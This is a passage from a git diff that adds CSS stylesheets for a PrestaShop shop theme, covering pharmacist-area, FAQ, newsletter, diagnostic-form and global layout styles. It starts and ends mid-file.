0; + vertical-align:-1px; + cursor:pointer; + /*padding-right:21px;*/ +} +#diagnostic .formulaire p.radio label{ + padding:0 20px 0 0; + font-size:14px; + margin:0; + cursor:pointer; +} +#diagnostic .formulaire p.erreur, +#diagnostic .formulaire p.erreur label{ + color:#ff0000; +} +#diagnostic .formulaire p.submit{ + padding:20px 0; +} +#diagnostic .formulaire p.submit a.back, +#diagnostic .formulaire p.submit input{ + float:right; + font-size:13px; + font-family:Times New Roman; +} +#diagnostic .formulaire p.submit a.back{ + height:34px; + line-height:34px; + margin:0 10px 0 0; +} + +/* etape finale */ + #diagnostic .tiroir h3{ + background:url('../img/diagTiroir.jpg') no-repeat 0 0; + width:958px; + line-height:32px; + height:32px; + text-align:center; + } + #diagnostic .tiroir h3 span{ + display:inline-block; + line-height:32px; + height:32px; + background:url('../img/diagMore.png') no-repeat 0 center; + padding:0 20px; + color:#b9da1a; + font-size:16px; + text-transform:uppercase; + } + #diagnostic .tiroir.open h3 span{ + background:url('../img/diagless.png') no-repeat 0 center; + } + table.produits td a:hover{ + text-decoration:none; + } + table.produits td.col1{ + width:96px; + text-align:center; + } + table.produits td .diagEtoile{ + display:inline-block; + width:54px; + line-height:54px; + height:54px; + font-size:14px; + text-align:center; + background:url('../img/diagEtoile.png') no-repeat center center + } + table.produits td.col2{ + width:150px; + text-align:center; + } + table.produits td.col3{ + width:auto; + text-align:left; + } + table.produits td.col3 h4{ + padding:0 0 4px; + } + table.produits td.col3 h4 a, + table.produits td.col3 h4{ + font-size:15px; + font-weight:bold; + color:#000000; + text-align:left; + font-family:Arial,Sans-Serif; + } + table.produits td.col3 .product_desc, + table.produits td.col3 .product_desc p a, + table.produits td.col3 .product_desc p{ + font-size:11px; + font-weight:normal; + color:#000000; + padding:0; + text-align:left; + float:none; + } + table.produits td.col3 .product_desc{ + margin:0 0 10px; + } + table.produits td.col3 a.button{ + margin:0 0 0 270px; + } + #page p.submitTop.bilan{ + margin:30px 0 0 0; + } + + #page p.submitTop.bilanComplet{ + margin:30px 0 0 307px; + float:left; + } + #page p.submitTop.bilanComplet a{ + margin:0; + float:left; + } + + + +.popinDiag{ + width:400px; + padding:40px; +} + + +.imageGrade{ + position:relative; + width:327px; + height:151px; +} +.item14{ + float:left; + + width:327px; +} +.item14 p.radio{ + display:none; +} +.imageGrade img{ + position:absolute; + z-index:1; +} +.imageGrade img.selected{ + z-index:3; +} + +.diagCurseurBar{ + height:22Px; + position:relative; + margin:0 0 10px; + background:url('../img/diagCurseurBar.png') repeat-x center center; +} +.diagCurseurBar img{ + float:left; + width:22px; + height:22Px; + margin:0 0 0 54px; + cursor:pointer; +} +.diagCurseurBar img:last-child{ + float:right; + margin:0; +} +.diagCurseurBar img:first-child{ + margin:0; +} +#diagnostic .formulaire p.radio4 label.label4{ + padding-right:0; + margin-right:0; +} + + + + + + + +/* Block newsletter */ +#recevoirparmail { + display:block; + width:430px; + text-align:center; + background:white; + padding:0 0 20px; +} +#recevoirparmail p{ + text-align:center; + color:#000000; + font-size:14px; +} +#recevoirparmail p.success_inline{color:#b9da1a;} +#recevoirparmail p.warning_inline{color:#ff0000;} +#recevoirparmail .title_block{ + font-size:18px; + text-transform:uppercase; + color:#000000; + padding:10px; + line-height:26px; + background:none; + font-weight:normal; +} +#recevoirparmail .inputNew{ + margin:0 20px 0 0; + padding:4px 10px 0px; + width:286px; + line-height:35px; + height:35px; + float:left; + border:0; + font-size:12px; + font-family:Arial,Sans-Serif; + background:url('../img/inputNew.png') no-repeat 0 0; +} +#recevoirparmail .button_mini{ + margin:0; + padding:0; + width:104px; + line-height:39px; + height:39px; + float:left; + border:0; + font-size:12px; + font-family:Times New Roman; + text-transform:uppercase; + background:url('../img/submitNewsletter.png') no-repeat 0 0; +} + + + + +/* Block newsletter */ +#recevoirparmail2 { + display:block; + width:430px; + text-align:center; + background:white; + padding:0 0 20px; +} +#recevoirparmail2 p{ + text-align:center; + color:#000000; + font-size:14px; +} +#recevoirparmail2 p.success_inline{color:#b9da1a;} +#recevoirparmail2 p.warning_inline{color:#ff0000;} +#recevoirparmail2 .title_block{ + font-size:18px; + text-transform:uppercase; + color:#000000; + padding:10px; + line-height:26px; + background:none; + font-weight:normal; +} +#recevoirparmail2 .inputNew{ + margin:0 20px 0 0; + padding:4px 10px 0px; + width:286px; + line-height:35px; + height:35px; + float:left; + border:0; + font-size:12px; + font-family:Arial,Sans-Serif; + background:url('../img/inputNew.png') no-repeat 0 0; +} +#recevoirparmail2 .button_mini{ + margin:0; + padding:0; + width:104px; + line-height:39px; + height:39px; + float:left; + border:0; + font-size:12px; + font-family:Times New Roman; + text-transform:uppercase; + background:url('../img/submitNewsletter.png') no-repeat 0 0; +} + + diff --git a/themes/default/css/espacepharmaciens.css b/themes/default/css/espacepharmaciens.css new file mode 100755 index 0000000..c4f399e --- /dev/null +++ b/themes/default/css/espacepharmaciens.css @@ -0,0 +1,63 @@ +#espacepharmaciens #page .borderGreen { + width:auto; + float:none; +} +#espacepharmaciens #page .borderGreen h1{ + margin:30px 0; + border-bottom:1px solid #000000; + color: #000000; + font-size: 30px; + border-bottom: 1px solid #000000; + padding: 0 0 30px; +} +#espacepharmaciens #page .borderGreen h2{ + font-size:14px; + font-weight:bold; + font-family:Times New Roman; + padding:0 0 20px; + text-transform:uppercase; + text-align:center; + color:#000000; +} +#espacepharmaciens #page .borderGreen h3{ + text-align:center; + font-size:12px; + font-weight:normal; + padding:0 0 30px; + color:#000000; +} +#espacepharmaciens form.std fieldset { + border:0; + background:url('../img/bgEspacepharmaciens.jpg') no-repeat 0 0; + width:552px; + height:160px; + padding: 40px 45px; + margin:0 auto 90px; +} +#espacepharmaciens form.std p.text input{ + float:left; + padding:3px 15px 0 15px; + height:35px; + line-height:35px; + margin:0 0 14px; + width:277px;/* 270 */ + font-size: 12px; + color:#000000; + border:0; + color:#999999; + background:url('../img/inputText307.png') no-repeat 0 0; +} +#espacepharmaciens form.std p.text input:focus{ + color:#000000; +} +#espacepharmaciens form.std p input.submit{ + line-height:35px; + height:35px; + width:136px; + color:#000000; + cursor:pointer; + margin:3px 0 14px 10px; + padding:0 0 2px; + text-transform:uppercase; + background:url("../img/homeblockFleche1.png") no-repeat scroll right center #B9DA1A!important; +} \ No newline at end of file diff --git a/themes/default/css/faq.css b/themes/default/css/faq.css new file mode 100755 index 0000000..bab7ab4 --- /dev/null +++ b/themes/default/css/faq.css @@ -0,0 +1,49 @@ + +#page .tiroir{ + margin:0 0 10px; + padding:0; + border-bottom:1px solid #d9d9d9; +} +#page .tiroir h3{ + border-bottom:0; + margin:0; +} + +#page .tiroir h4{ + border:0; + line-height:30px; + height:30px; + padding:0 26px; + margin:0 0 10px; + cursor:pointer; +} +#page .tiroir2 h4 span{ + cursor:pointer; + display:block; + color:#92af06; + line-height:30px; + height:30px; + font-size:16px; + font-weight:bold; + padding:0 12px 0 36px; + display:block; + font-family:Times New Roman; + text-align:left; + background:url('../img/moreless.png') no-repeat 8px -76px; +} +#page .tiroir2.open h4 span{ + background:url('../img/moreless.png') no-repeat 9px 13px; +} +#page .tiroir div.texte{ + padding:10px; + color:#000000; + font-size:12px; + border:1px solid #d9d9d9; + border-top:0; + border-bottom:0; +} +#page .tiroir div.texte2{ + padding:0 34px 10px 34px; + color:#000000; + font-size:12px; +} \ No newline at end of file diff --git a/themes/default/css/global.css b/themes/default/css/global.css new file mode 100755 index 0000000..141938a --- /dev/null +++ b/themes/default/css/global.css @@ -0,0 +1,4199 @@ +/* ################################################################################################## + PRESTASHOP CSS +################################################################################################## */ + +@font-face { + font-family: 'ProximaNova'; + src: url('../font/proxima-nova/proximanova-light-webfont.eot'); + src: url('../font/proxima-nova/proximanova-light-webfont.eot?#iefix') format('embedded-opentype'), + url('../font/proxima-nova/proximanova-light-webfont.woff') format('woff'), + url('../font/proxima-nova/proximanova-light-webfont.ttf') format('truetype'), + url('../font/proxima-nova/proximanova-light-webfont.svg#ProximaNovaLight') format('svg'); + font-weight: 100; + font-style: normal; + +} + +@font-face { + font-family: 'ProximaNova'; + src: url('../font/proxima-nova/proximanova-reg-webfont.eot'); + src: url('../font/proxima-nova/proximanova-reg-webfont.eot?#iefix') format('embedded-opentype'), + url('../font/proxima-nova/proximanova-reg-webfont.woff') format('woff'), + url('../font/proxima-nova/proximanova-reg-webfont.ttf') format('truetype'), + url('../font/proxima-nova/proximanova-reg-webfont.svg#ProximaNovaRegular') format('svg'); + font-weight: normal; + font-style: normal; + +} + +@font-face { + font-family: 'trajan'; + src: url('../font/trajan/trajanpro-regular.eot'); + src: url('../font/trajan/trajanpro-regular.eot?#iefix') format('embedded-opentype'), + url('../font/trajan/trajanpro-regular.woff') format('woff'), + url('../font/trajan/trajanpro-regular.ttf') format('truetype'), + url('../font/trajan/trajanpro-regular.svg#TrajanPro') format('svg'); +} + +/* FIX CHROME */ +.bg_categories_block{ display: none; } +.nosProduits .bg_categories_block{ display: inline-block; z-index: 15;} + +.products_relation ul{ + overflow: auto; +} + .products_relation ul li{ + float: left; + width: 100%; + } +.products_relation .img_related{ + float: left; + margin: 15px; +} +.products_relation .show_related{ + float: left; + margin: 11px 0; + width: 323px; + line-height: 25px; +} +.products_relation .show_related .more{ + background: #b9da1a; + border: 1px solid #c4c4c4; + color: #000; + font-family: Times new roman; + font-size: 16px; + padding: 10px 23px 10px 18px; + text-transform: uppercase; +} +.products_relation .show_related .more span{ margin-left: 10px; } + +.products_relation .show_related .more:hover { text-decoration: none; } + +.intro_blog_en{ + font-size: 18px; + color: #fff; + text-align: justify; + line-height: 24px; + font-family: 'ProximaNova'; + margin-bottom: 15px; + +} +.products_relation{} +.content .products_relation ul li{ + font-size: 12px; + padding: 15px 0; + text-transform: uppercase; +} + +/* **************************************************************************** + reset +**************************************************************************** */ +body#tinymce,body#tinymce p{color:#000000;background:none;} +html{color:#000;background:#000000;font-family:Arial,Sans-Serif;} +body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,button,textarea,p,blockquote,th,td{margin:0;padding:0} +table{border-collapse:collapse;border-spacing:0} +fieldset,img{border:0} +address,caption,cite,code,dfn,em,th,var,optgroup{font-style:inherit;font-weight:inherit} +del,ins{text-decoration:none} +caption,th{text-align:left} +h1,h2,h3,h4,h5,h6{font-size:100%;font-family:Times New Roman;font-weight:normal;padding:0;margin:0;} +h1{text-transform:uppercase;text-align:center;font-size:30px;color:#000000;} +h1.border{ + border-bottom:1px solid #000000; + margin-bottom:20px; + padding-bottom:20px; +} +h2{ + font-size:11px; + font-weight:bold; + color:#000000; + padding:0; + font-family:Arial,Sans-Serif; + line-height:17px; +} +h4{ font-size:18px; font-weight:normal;text-transform:uppercase;text-align:center;color:#000000;} +textarea{resize:none} + p{ + color:#000000; + font-size:12px; + font-family:Arial,Sans-Serif; +} +q:before,q:after{content:''} +abbr,acronym{border:0;font-variant:normal} +sup{vertical-align:top} +.tiroir h3 sup{vertical-align:3px} +sub{vertical-align:baseline} +legend{color:#000} +input,button,textarea,select,optgroup,option{font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit} +input,button,textarea,select{font-size:100%} +li{list-style:none;} +.ie7 input, .ie7 select{line-height:18px} +a {cursor:pointer} +.align_center{text-align:center;} +.clearfix:before, +.clearfix:after { + content: "."; + display: block; + height: 0; + overflow: hidden +} +.clearfix:after {clear: both} +.clearfix {zoom: 1} +.uppercase{ + text-transform:uppercase; +} +a.underline{ + text-decoration:underline; +} +.relative{ + position:relative; +} +.floatRight{ + float:right; +} +#old_price, +.old_price{ + text-decoration:line-through; +} + +.noborder{ + border:0!important; +} +/* ************************************************************************************************ + struture +************************************************************************************************ */ +#page {} + /*#header {z-index:10;zoom:1}*/ + #columns {z-index:1} + #left_column {display:none;} + #center_column {width:100%} + #right_column {display:none;} + #footer {} +#index #center_column{width:1280px;margin:0 -141px;} +#module-systempay-redirect #center_column, +#faq #center_column, +#philosophie #center_column{width:100%;margin:0 0;} + +/* ************************************************************************************************ + generic style +************************************************************************************************ */ +body{ + font:normal 11px/14px Arial, Verdana, sans-serif; + color:#cccccc; + background:#000000; +} +body.content_only { + background: #FFF; +} + +/* positionnement ****************************************************************************** */ +.hidden {display:none} +.f_left {float:left} +.f_right {float:right} +p.center {text-align:center} +.clearBoth {clear:both} +.clear_block { + display:block; + clear:both; +} + +/* title *************************************************************************************** */ +h1 { + margin-bottom:20px; + font-size:24px; + line-height: 22px +} +h2 { + padding-bottom:20px; + font-size:18px +} +h3 { + padding-bottom:20px; + font-size:16px +} +.title_block { + padding-bottom:20px; + font-size:14px +} + +.hide-left-column #left_column {display:none} +.hide-left-column #center_column {width:757px} + +/* text **************************************************************************************** */ +p {padding-bottom:20px} + +p em {font-style:italic} + +.pre_comment { + font-family: Times New Roman, Arial, sans-serif; + font-size: 12px; + padding-bottom: 3px; + font-weight:bold; + text-transform: uppercase; +} + +.pre_comment2 { + font-family: Arial, sans-serif; + font-size: 12px; + padding-bottom: 3px; + font-weight:bold; +} + +.warning { + margin:0 0 10px 0; + padding:10px; + border:1px solid #ffcccc; + font-size:13px; + background:#ffcccc; + font-weight:bold; +} +.success { + margin:0 0 10px 0; + padding:10px; + border:1px solid #B9DA1A; + font-size:13px; + background: #B9DA1A; + font-weight:bold; +} +.error { + margin:0 0 10px 0; + padding:10px; + border:1px solid #ffcccc; + font-size:13px; + background:#ffcccc; + font-weight:bold; +} +.error li{ + color:#000000 +} +.error ol {margin-left:0px} +.error p.lnk { + margin-top:20px; + padding:0; + font-size:11px +} +.required {color:#990000} + +/* link **************************************************************************************** */ +a, a:active, a:visited { + color:#000000; + text-decoration:none; + outline: medium none +} + a:hover {text-decoration:underline} + + +/* HACK IOS ipad, iphone */ +input[type="text"], input[type="email"], input[type="search"], input[type="password"], input[type="submit"], input[type="image"] { + -webkit-appearance:none; + -moz-appearance:none; + appearance:none; + -webkit-border-radius:0px !important; + -moz-border-radius:0px !important; + border-radius:0px !important; +} + +/*buttons ************************************************************************************** */ +input.button_mini, input.button_small, input.button, input.button_large, +input.button_mini_disabled, input.button_small_disabled, input.button_disabled, input.button_large_disabled, +input.exclusive_mini, input.exclusive_small, input.exclusive, input.exclusive_large, +input.exclusive_mini_disabled, input.exclusive_small_disabled, input.exclusive_disabled, input.exclusive_large_disabled, +a.button_mini, a.button_small, a.button, a.button_large, +a.exclusive_mini, a.exclusive_small, a.exclusive, a.exclusive_large, +span.button_mini, span.button_small, span.button, span.button_large, +span.exclusive_mini, span.exclusive_small, span.exclusive, span.exclusive_large, span.exclusive_large_disabled { + color: #000000; + float:left; + line-height: 26px; + padding: 0 30px 0 14px; + width: auto; + background:url('../img/homeblockFleche1.png') no-repeat right center #B9DA1A; + cursor: pointer; + border:1px solid #a9c717; +} +#ProductPosts a {background:url('../img/homeblockFleche1.png') no-repeat left center; font-size: 12px; padding: 0 0 0 20px; } +*:first-child+html input.button_mini, *:first-child+html input.button_small, *:first-child+html input.button, *:first-child+html input.button_large, +*:first-child+html input.button_mini_disabled, *:first-child+html input.button_small_disabled, *:first-child+html input.button_disabled, *:first-child+html input.button_large_disabled, +*:first-child+html input.exclusive_mini, *:first-child+html input.exclusive_small, *:first-child+html input.exclusive, *:first-child+html input.exclusive_large, +*:first-child+html input.exclusive_mini_disabled, *:first-child+html input.exclusive_small_disabled, *:first-child+html input.exclusive_disabled, *:first-child+html input.exclusive_large_disabled { + border:none +} + + +/* input button */ +input.button_mini, input.button_small, input.button, input.button_large, +input.button_mini_disabled, input.button_small_disabled, input.button_disabled, input.button_large_disabled, +input.exclusive_mini, input.exclusive_small, input.exclusive, input.exclusive_large, +input.exclusive_mini_disabled, input.exclusive_small_disabled, input.exclusive_disabled, input.exclusive_large_disabled { + /*padding-bottom: 2px*/ +} + +/* disabled button */ +input.button_mini_disabled, input.button_small_disabled, input.button_disabled, input.button_large_disabled, +input.exclusive_mini_disabled, input.exclusive_small_disabled, input.exclusive_disabled, input.exclusive_large_disabled, +span.button_mini, span.button_small, span.button, span.button_large, +span.exclusive_mini, span.exclusive_small, span.exclusive, span.exclusive_large, span.exclusive_large_disabled { + /*background-position: left -36px; + cursor: default; + color: #888!important*/ +} + +/* exclusive button */ +input.exclusive_mini, input.exclusive_small, input.exclusive, input.exclusive_large, +input.exclusive_mini_disabled, input.exclusive_small_disabled, input.exclusive_disabled, input.exclusive_large_disabled, +a.exclusive_mini, a.exclusive_small, a.exclusive, a.exclusive_large, +span.exclusive_mini, span.exclusive_small, span.exclusive, span.exclusive_large, span.exclusive_large_disabled { + /*color: white!important*/ +} + +/* exclusive disabled button */ +input.exclusive_mini_disabled, input.exclusive_small_disabled, input.exclusive_disabled, input.exclusive_large_disabled, span.exclusive_mini, span.exclusive_small, span.exclusive, span.exclusive_large { + /*color: #488c40!important*/ +} + +/* hover button */ +input.button_mini:hover, input.button_small:hover, input.button:hover, input.button_large:hover, +input.exclusive_mini:hover, input.exclusive_small:hover, input.exclusive:hover, input.exclusive_large:hover, +a.button_mini:hover, a.button_small:hover, a.button:hover, a.button_large:hover, +a.exclusive_mini:hover, a.exclusive_small:hover, a.exclusive:hover, a.exclusive_large:hover { + text-decoration:none; + /*background-position: left -50px*/ +} + +/* exclusive hover button */ +input.exclusive_mini:hover, input.exclusive_small:hover, input.exclusive:hover, input.exclusive_large:hover, a.exclusive_mini:hover, a.exclusive_small:hover, a.exclusive:hover, a.exclusive_large:hover { + /*color: white!important*/ +} + +/* active button */ +input.button_mini:active, input.button_small:active, input.button:active, input.button_large:active, +input.exclusive_mini:active, input.exclusive_small:active, input.exclusive:active, input.exclusive_large:active, +a.button_mini:active, a.button_small:active, a.button:active, a.button_large:active, +a.exclusive_mini:active, a.exclusive_small:active, a.exclusive:active, a.exclusive_large:active { + /*background-position: left -100px*/ +} + +/* classic buttons */ +input.button_mini, input.button_mini_disabled, input.exclusive_mini, input.exclusive_mini_disabled, a.button_mini, a.exclusive_mini, span.button_mini, span.exclusive_mini { + /*width: 30px; + background-image: url('../img/button-mini.png')*/ +} +input.button_small, input.button_small_disabled, input.exclusive_small, input.exclusive_small_disabled, a.button_small, a.exclusive_small, span.button_small, span.exclusive_small { + /*width: 60px; + background-image: url('../img/button-small.png')*/ +} +input.button_disabled, input.exclusive_disabled, span.exclusive { + border:1px solid #ccc; + color:#999; + background:url(../img/bg_bt_2.gif) repeat-x 0 0 #CCCCCC; + cursor:default; +} +input.button_large, input.button_large_disabled, input.exclusive_large, input.exclusive_large_disabled, a.button_large, a.exclusive_large, span.button_large, span.exclusive_large, span.exclusive_large_disabled { + /*width: 180px; + background-image: url('../img/button-large.png')*/ +} + +/* exclusive button */ +/*input.exclusive, input.exclusive_disabled, a.exclusive, span.exclusive { background-image: url('../img/button-medium_exclusive.png') } +input.exclusive_mini, input.exclusive_mini_disabled, a.exclusive_mini, span.exclusive_mini { background-image: url('../img/button-mini_exclusive.gif') } +input.exclusive_small, input.exclusive_small_disabled, a.exclusive_small, span.exclusive_small { background-image: url('../img/button-small_exclusive.gif') } +input.exclusive_large, input.exclusive_large_disabled, a.exclusive_large, span.exclusive_large, span.exclusive_large_disabled { background-image: url('../img/button-large_exclusive.gif') }*/ + +/* form **************************************************************************************** */ +form.std fieldset { + margin:20px 0; + border:1px solid #ccc +} + +/* table *************************************************************************************** */ +table.std, +table.table_block { + margin-bottom:20px; + width:100%; + border:0; + background:white; + border-collapse:inherit +} +table.std th, +table.table_block th { + padding:12px 20px; + line-height:16px; + font-size:12px; + color:#000000; + font-weight:bold; + text-transform:uppercase; + background:#b9da1a; + border:1px solid #9dba16; + border-left:0; +} +table.std th:first-child, +table.table_block th:first-child{ + border:1px solid #9dba16; +} +table.std tr.alternate_item, +table.table_block tr.alternate_item {background-color: #f3f3f3} +table.std td, +table.table_block td { + padding:12px 20px; + font-size:12px; + vertical-align:top; + color:#000000; + border:1px solid #dddddd; + border-top:0; + border-right:0; +} +table.std td:last-child, +table.table_block td:last-child{ + border-right:1px solid #dddddd; +} +table.std td a{ + color:#000000; +} + +/* BLOCK .block ******************************************************************************** */ +.block {margin-bottom:20px} +#footer .block {margin-bottom:0} + .block .title_block, .block h4 { + padding:6px 11px; + font-size:12px; + color:#fff; + text-transform:uppercase; + background:#383838; + text-align:left; + font-weight: bold; + } + .block .title_block a, .block h4 a {color:#fff} + .block ul {list-style-type:none} + .block li.last { border:none} + .block li a { + display:block; + color:#333 + } + +/* BLOCK .products_block *********************************************************************** */ +.products_block {} + .products_block li {float:left +} + .products_block li img {border:1px solid #d1d1d1} + +/* BLOCK customer privacy ******************************************************************* */ +.account_creation label{ + float:left; + padding-top:5px; + width:80%; + text-align:left; + cursor:pointer +} + +/* BLOCK .footer_links (cms pages) ************************************************************* */ +ul.footer_links { + list-style-type:none; + margin-bottom:20px +} +ul.footer_links li {float:left} +ul.footer_links li.f_right {float:right} +ul.footer_links li .icon { + position:relative; + top:6px; + left:0 +} + +/* barre comparaison / tri ********************************************************************* */ +.content_sortPagiBar {margin:20px 0;} +#center_column .sortPagiBar { + padding:10px; + font:normal 11px Arial, Verdana, sans-serif; + color:#666; + background:#eee; +} + #center_column .sortPagiBar strong {color:#000;} +#center_column .sortPagiBar p {padding:0;} +#center_column .sortPagiBar form {display:inline-block;} + +.ie7 #center_column .sortPagiBar form {display:inline;} + +.sortPagiBar #productsSortForm {float:right;} + .sortPagiBar select#selectPrductSort { + margin:0 0 0 10px; + color:#000; + border:1px solid #ccc + } + +.sortPagiBar #bt_compare { + padding:3px 7px; + border:none; + color:#fff; + background:url(../img/bg_bt_compare.gif) repeat-x 0 0 #111; +} + +.sortPagiBar .nbrItemPage {margin-left:40px;} + +.sortPagiBar .PrductSort {float:left;} + +.sortPagiBar .nbrProduct { + display:inline-block; + padding:0 10px; +} + +.sortPagiBar #nb_item {border:1px solid #ccc} + +/* pagination ********************************************************************************** */ +form.pagination {display:none;} + +div.pagination { + margin:10px 0; + text-align: center +} +ul.pagination {list-style-type:none} +ul.pagination li {display: inline;} +ul.pagination a, ul.pagination span { + display:inline-block; + height:24px; + width:24px; + border:1px solid #eee; + -moz-border-radius:2px; + -webkit-border-radius:2px; + border-radius:2px; + font:11px/24px Arial,Verdana,sans-serif; + color:#999 +} +ul.pagination a { + text-align:center; +} +ul.pagination a:hover { + color:#cccccc; + border:1px solid #333 +} +ul.pagination .current span { + color:#000; + border:1px solid #fff +} +ul.pagination li.disabled span {color:#ccc} + +#pagination_previous {float:left} +#pagination_next {float:right} + +.ie7 #pagination_previous, +.ie7 #pagination_next {float:none} + +#pagination_previous a, #pagination_previous span, +#pagination_next a, #pagination_next span { + padding:0 8px; + width:auto; +} +#pagination_previous span, +#pagination_next span { + color:#ccc; + border:1px solid #eee +} + +/* CART steps *********************************************************************** */ +ul#order_step { + background:url('../img/opcSteps.png') no-repeat 0 0; + height:45px; + line-height:45px; + margin:0 0 20px; + display:block; +} +ul#order_step.step2{ + background:url('../img/opcSteps.png') no-repeat 0 -45px; +} +ul#order_step.step3{ + background:url('../img/opcSteps.png') no-repeat 0 -90px; +} +ul#order_step li{ + width:33%; + height:45px; + line-height:45px; + float:left; +} +ul#order_step li span, +ul#order_step li a{ + display:block; + text-align:center; + color:#000000; + font-size:18px; + font-family:Times New Roman; + text-transform:uppercase; +} + +/*ul.step li#step_end {background:url(../img/step_end.gif) no-repeat center bottom transparent}*/ + +/* module productcomments ********************************************************************** */ +.rating { + clear: both; + display: block; + margin: 2em; + cursor: pointer; +} +.rating:after { + content: '.'; + display: block; + height: 0; + width: 0; + clear: both; + visibility: hidden +} +.cancel, .star { + overflow: hidden; + float: left; + margin:0 1px 0 0; + width: 16px; + height: 16px; + text-indent: -999em; + cursor: pointer +} +.cancel, .cancel a { background: url(../../../modules/productcomments/img/delete.gif) no-repeat 0 -16px !important } +.star, .star a { background: url(../../../modules/productcomments/img/star.gif) no-repeat 0 0 } +.cancel a, .star a { + display: block; + width: 100%; + height: 100%; + background-position: 0 0 +} +div.star_on a { background-position: 0 -16px } +div.star_hover a, div.star a:hover { background-position: 0 -32px } +.pack_content { margin: 10px 0 10px 0 } +.pack_price { + float: right; + margin-right: 3px; + font-size: 12px +} +.confirmation { + margin: 0 0 10px; + padding: 10px; + border: 1px solid #e6db55; + font-size: 13px; + background: none repeat scroll 0 0 #ffffe0; +} +#page .rte { background: transparent none repeat scroll 0 0 } + +.listcomment { + list-style-type:none; + margin:0 0 20px 0 !important; +} +.listcomment li { + padding:10px 0; + border-bottom:1px dotted #ccc; + color:#666 +} +.listcomment .titlecomment { + display:block; + font-weight:bold; + font-size:12px; + color:#cccccc +} +.listcomment .txtcomment { + display:block; + padding:5px 0; + color:#cccccc +} +.listcomment .authorcomment {} + +.comments .comment{ + background: url('../img/bg_comments.jpg') repeat-y top center; +} + +/* ************************************************************************************************ + HEADER +************************************************************************************************ */ +#header { + position:relative +} +#header_logo { + /*position: absolute; + top: 30px;*/ + position:relative; + z-index: 3; + width:318px; + margin:0 auto; + display:block; +} +#header_logo img{ + width:318px; + height:107px; +} + +#header_right { + position:absolute; + z-index:2; + right:-10px; + top:33px; + float: right; + width:auto; + line-height:36px; + height:36px; +/* background:url('../img/headerInfos.jpg') no-repeat 0 0;*/ + padding:0 11px 0; + + + background-color:#292929; + background-image:-webkit-gradient(linear,left top,left bottom,color-stop(0.0,#292929),color-stop(1,#121212)); + background-image:-o-linear-gradient(top,#292929,#121212); + background-image:-moz-linear-gradient(center top,#292929 0%,#121212 100%); + border:1px solid #333333; + -moz-border-radius:1px; + -webkit-border-radius:1px; + border-radius:1px; +} +body #header_user{ + min-width:1px; + width:auto; +} +body #header_user li{ + margin:0 0px 0 0; +} +body #header_right #languages_block_top{ + padding-left:10px; +} +#header_user li#shopping_cart{ + padding: 0 6px 0 6px; + width: auto; + white-space:nowrap; +} + + +/* ************************************************************************************************ + BREADCRUMB +************************************************************************************************ */ +.breadcrumb { + margin-bottom:10px; + font-size:11px; + color:#bfda3f; +} +.breadcrumb .navigation-pipe {margin:0 3px 0 5px;color:white;font-size:11px;} +.breadcrumb a{color:white;font-size:11px;text-decoration:none;} + + +/* ************************************************************************************************ + FOOTER +************************************************************************************************ */ +.footer_wrapper{ + background:#000; + border-top:1px solid #333; +} +#footer { + color:#cccccc; + padding:27px 0; + margin:38px 0 0; + display:block; + clear:both; +} + .blockcategories_footer, + #footer .myaccount , + #block_various_links_footer, + #social_block, + #block_contact_infos { + float:left; + width:175px + } + .blockcategories_footer {margin-left:0} +#footer .title_block { + padding-bottom: 10px; + text-transform:uppercase +} +#footer .title_block , +#footer .title_block a { + font-weight:normal; + font-size:14px; + color:#fff +} +#footer a {color:#fff} +#footer a:hover {text-decoration:underline} +#footer ul {list-style-type:none;text-align:center;} +#footer li{padding:0;border-right:2px solid #2e2e2e;height:6px;display:inline;} +#footer li:last-child{border-right:0;} +#footer li a {color:#fff;font-size:10px;line-height:12px;padding:7px 17px;} +#footer li.green a{color:#31a20a} + +#footer #social_block{ + width:200px; + display:block; + margin:25px auto 82px; + float:none; +} +#footer #social_block ul li{margin:0 10px 0 0;} +#footer #social_block ul li:last-child{margin:0;} +#footer #social_block ul li a, +#footer #social_block ul li{padding:0;border:0;display:inline-block;width:31px;height:31px;} +#footer #social_block ul li a{background:url('../img/sprite_social.png') no-repeat;} +#footer #social_block ul li.facebook a{background-position:0 0;} +#footer #social_block ul li.facebook:hover a, +#footer #social_block ul li.facebook a:hover{background-position:0 -31px;} +#footer #social_block ul li.twitter a{background-position:-41px 0;} +#footer #social_block ul li.twitter:hover a, +#footer #social_block ul li.twitter a:hover{background-position:-41px -31px;} +#footer #social_block ul li.rss a{background-position:-82px 0;} +#footer #social_block ul li.rss:hover a, +#footer #social_block ul li.rss a:hover{background-position:-82px -31px;} +#footer #social_block ul li.instagram a{background-position:-123px 0;} +#footer #social_block ul li.instagram:hover a, +#footer #social_block ul li.instagram a:hover{background-position:-123px -31px;} + + + +/* ************************************************************************************************ + PRODUCT PAGE +************************************************************************************************ */ + +/* BLOCK idTabs ******************************************************************************** */ +.idTabs { + list-style-type: none; + margin-top: 20px; + border-bottom: 8px solid #f7b900 +} +ul.idTabs li { + float: left; + margin-right: 1px +} +.idTabs a { + display:block; + padding:10px 10px 7px 10px; + font-weight:bold; + text-decoration:none; + color:#fff; + background:#000 +} +.idTabs .selected { + color:#000; + background: url(../img/bg_li_idTabs.png) repeat-x 0 0 +} + +#more_info_sheets {padding-top:10px} +#more_info_sheets ul, +#more_info_sheets ol, +#more_info_sheets dl {margin-left:20px} +#more_info_sheets em {font-style:italic} + +#more_info_sheets .product_desc{ + margin-top:5px +} + +#more_info_sheets .product_desc .product_image{ + float:left +} + +#more_info_sheets .product_desc .block_description{ + float:left; + margin-left:10px; + width:420px +} +#more_info_sheets .product_desc .clear_product_desc{ + clear:both; + height:0px; + line-height:0px +} + +/* Make sure lists are correctly displayed in tinyMCE BO edition mode too */ +#short_description_content ul, +#short_description_content ol, +#short_description_content dl, +#tinymce ul, +#tinymce ol, +#tinymce dl {margin-left:20px} + +.block_hidden_only_for_screen {display:none} + + +/* ************************************************************************************************ + PAGE AUTHENTIFICATION +************************************************************************************************ */ +#authentication #left_column {display:none} + + + +/* ************************************************************************************************ + PAIMENT - PAGE ORDER +************************************************************************************************ */ + +/* nav bottom ********************************************************************************** */ +#order #left_column , #order-confirmation #left_column {display:none} + +.cart_navigation {margin:20px 0} +.cart_navigation .exclusive, +.cart_navigation .exclusive_large { + float:right +} +.cart_navigation .button, +.cart_navigation .button_large { + border-color:#ccc; + background-image:url(../img/bg_bt_2.gif) +} + + +/* step 1 - cart ******************************************************************************* */ +.cart_last_product {display:none} + +/*p.cart_navigation .multishipping-button { margin-right: 10px 